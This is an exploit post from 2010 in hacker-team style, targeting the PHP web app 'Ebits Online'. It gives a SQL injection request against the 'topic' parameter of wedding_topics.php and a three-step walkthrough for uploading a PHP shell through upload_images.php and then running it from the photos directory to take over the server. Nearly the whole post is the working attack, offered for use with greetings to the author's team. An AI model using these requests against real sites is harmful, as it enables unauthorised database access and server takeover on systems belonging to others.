Ebits Online SQL Injection / Shell Upload

`  
  
  
===================================  
Ebits Online <= SQL & upload shell  
===================================  
  
###################################################  
# Exploit Title:Ebits Online <= SQL & upload shell#  
# Date: 23/6/2010 #  
# Author: MeGo #  
# Vendor: Link: http://www.ebitsonline.com #  
# Version: 1 #  
# Eamil: [email protected] #  
# Platform / Tested on: Windows xp TYPE: php #  
# Category: webapps/0day #  
# MY Team: Team Hacker Egypt #  
******************************************************************  
#################  
#SQL [ Exploit ]#  
#################  
  
http://localhost/path/wedding_topics.php?topic= [ SQL ]  
  
http://localhost/path/wedding_topics.php?topic=18+order+by+6--  
  
******************************************************************  
  
##########################  
#Upload Shell [ Exploit ]#  
##########################  
  
Step [ 1 ]  
  
http://localhost/path/upload_images.php  
  
upload ur shell MeGo.php use [ Tember ]  
  
step [ 2 ]  
  
http://localhost/path/photos/MeGo.php  
  
dir of ur Evil :D   
  
step [ 3 ]  
  
You Own3r Box =))  
  
*******************************************************************  
Greetz To : Dr.Silnt HilL , Alsaeek , and all Member of MY Team :d  
  
SG: elga7ed , , exploit-db.com , inj3ct0r.com => only db Exploit :D  
*******************************************************************   
_________________________________________________________________  
Hotmail: Powerful Free email with security by Microsoft.  
https://signup.live.com/signup.aspx?id=60969  
  
  
`